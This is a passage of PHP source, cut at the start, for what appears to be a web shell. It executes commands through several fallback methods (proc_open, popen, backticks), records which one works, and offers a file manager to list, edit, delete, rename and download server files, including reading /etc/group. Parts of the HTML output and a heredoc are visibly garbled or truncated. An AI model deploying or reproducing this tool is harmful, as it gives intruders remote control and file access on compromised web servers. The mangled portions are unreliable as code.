array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
$return_var = proc_close($process);
break;
case 'popen':
$handle = popen($command, 'r');
$output = stream_get_contents($handle);
$return_var = pclose($handle);
break;
case 'pcntl_exec':
break;
case 'backtick':
$output = `$command`;
$return_var = strlen($output); // backtick operator doesn't provide a return_var
break;
}
// If the command was executed successfully, break out of the loop
//echo "Command: $command\n
";
if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){
echo "Command: $command\n
";
echo "used Exxecution Method: $method\n
";
$_SESSION["method"] = $method;
break;
}
}
return $output;
}
function createDirectoryLinks($directory) {
$sections = explode(DIRECTORY_SEPARATOR, $directory);
$currentPath = '';
$links = '';
foreach ($sections as $section) {
if (!empty($section)) {
$currentPath .= DIRECTORY_SEPARATOR . $section;
$links .= DIRECTORY_SEPARATOR ."" . $section . "";
}
}
return $links;
}
function getFilePermissionsString($itemPath) {
$permissions = fileperms($itemPath);
// Get the file type
$fileType = '';
if (is_dir($itemPath)) {
$fileType = 'd';
} elseif (is_link($itemPath)) {
$fileType = 'l';
} else {
$fileType = '-';
}
// Convert integer permissions to string representation
$permissionString = $fileType;
// Owner permissions
$permissionString .= ($permissions & 0x0100) ? 'r' : '-';
$permissionString .= ($permissions & 0x0080) ? 'w' : '-';
$permissionString .= ($permissions & 0x0040) ?
(($permissions & 0x0800) ? 's' : 'x') :
(($permissions & 0x0800) ? 'S' : '-');
// Group permissions
$permissionString .= ($permissions & 0x0020) ? 'r' : '-';
$permissionString .= ($permissions & 0x0010) ? 'w' : '-';
$permissionString .= ($permissions & 0x0008) ?
(($permissions & 0x0400) ? 's' : 'x') :
(($permissions & 0x0400) ? 'S' : '-');
// Others permissions
$permissionString .= ($permissions & 0x0004) ? 'r' : '-';
$permissionString .= ($permissions & 0x0002) ? 'w' : '-';
$permissionString .= ($permissions & 0x0001) ?
(($permissions & 0x0200) ? 't' : 'x') :
(($permissions & 0x0200) ? 'T' : '-');
return $permissionString;
}
function getGroupInfo($path) {
$gid = filegroup($path);
$groupInfo = array();
if (file_exists('/etc/group')) {
$handle = fopen('/etc/group', 'r');
while (($line = fread($handle, 1024)) !== false) {
$fields = explode(':', $line);
if ($fields[2] == $gid) {
$groupInfo['name'] = $fields[0];
break;
}
}
fclose($handle);
}
return $groupInfo['name'];
}
function getOwnerInfo($path,$isuname = false) {
if(fileowner("..") == fileowner($path)){
$isuname = true;
}
$uid = fileowner($path);
$userInfo = array();
if (function_exists('getpwuid')) {
$userInfo = getpwuid($uid);
return $userInfo['name'];
} else {
// Fallback method using script path
$scriptPath = __FILE__; // Get the current script path
if ($isuname && strpos($scriptPath, '/home/') !== false) {
$owner = substr($scriptPath, strpos($scriptPath, '/home/') + 6);
$owner = substr($owner, 0, strpos($owner, '/'));
return $owner;
} else {
// Default fallback
$userInfo['name'] = 'User_' . $uid;
return $userInfo['name'];
}
}
}
// Fetch directory listing using ls -liah command
function getDirectoryListing($directory) {
$directoryContents = scandir($directory);
$lsOutput = "";
$directories = array();
$files = array();
$x = 0;
foreach ($directoryContents as $item) {
$x++;
$itemPath = $directory . '/' . $item;
$itemInfo = pathinfo($itemPath);
$permissions = getFilePermissionsString($itemPath);
$owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath);
$group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath);
$size = filesize($itemPath);
if ($size < 1024) {
$sString = $size . " B";
} elseif ($size < 1048576) {
$sString = round($size / 1024, 2) . " KB";
} elseif ($size < 1073741824) {
$sString = round($size / 1048576, 2) . " MB";
} else {
$sString = round($size / 1073741824, 2) . " GB";
}
$sString = str_replace(" ", "", $sString);
//echo "[[$sString]]";
$modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath));
if(substr($permissions, 0, 1)=="d"){
$item = "[$item]";
}
$line = sprintf(
"%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s",
$x,
$item,
$owner,
$group,
$sString,
$permissions,
$modifiedTime
);
if(substr($permissions, 0, 1)=="d"){
$directories[] = $line;
}else{
$files[] = $line;
}
}
$lsOutput = implode("\n", $directories);
$lsOutput .= "\n".implode("\n", $files);
return $lsOutput;
}
function forceDownload($filePath) {
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit;
}
}
echo <<
$commandOutput"; } } // Handle file actions and directory listing // Handle file actions and directory listing if (isset($_GET['action']) && isset($_GET['filename'])) { $action = $_GET['action']; $filename = $_GET['filename']; switch ($action) { case 'E': // Edit file action $filePath = $workingDir . '/' . $filename; if (is_file($filePath)) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) { // Save file content if form is submitted $fileContent = $_POST["file_content"]; if (file_put_contents($filePath, $fileContent) !== false) { echo "File saved successfully: $filename"; } else { echo "Error saving file: $filename"; } } else { // Display file content in form for editing $fileContent = file_get_contents($filePath); $fileContentSafe = htmlspecialchars($fileContent); echo "
| $column | "; if ($index >= 0) { // Actions for subsequent rows //echo $columns[5]; if (substr($columns[5], 0, 1) != 'd') { // If not a directory, include actions echo ''; echo " E | "; echo "Del | "; echo "Dow | "; echo "R "; echo " | "; } elseif($columns[1]=="[.]" || $columns[1]=="[..]"){ echo ''; }else{ $dirName = str_replace("[", "", $columns[1]); $dirName = str_replace("]", "", $dirName); echo ' | '; echo "Download | "; echo "Rename "; echo " | "; } } } else { // Other columns if(substr($column[0], 0, 1) == '['){ //make it clickable to change directory $dirName = str_replace("[", "", $column); $dirName = str_replace("]", "", $dirName); if($dirName==".."){ $dirName = getUpperDirectory($workingDir); }elseif($dirName !="."){ $dirName = $workingDir."/".$dirName; } if ($dirName=="."){ echo "[.] | "; }else{ echo "$column | "; } }else{ echo "$column | "; } } } echo "
$output"; } catch (Exception $e) { echo "
" . $e->getMessage() . ""; } } echo <<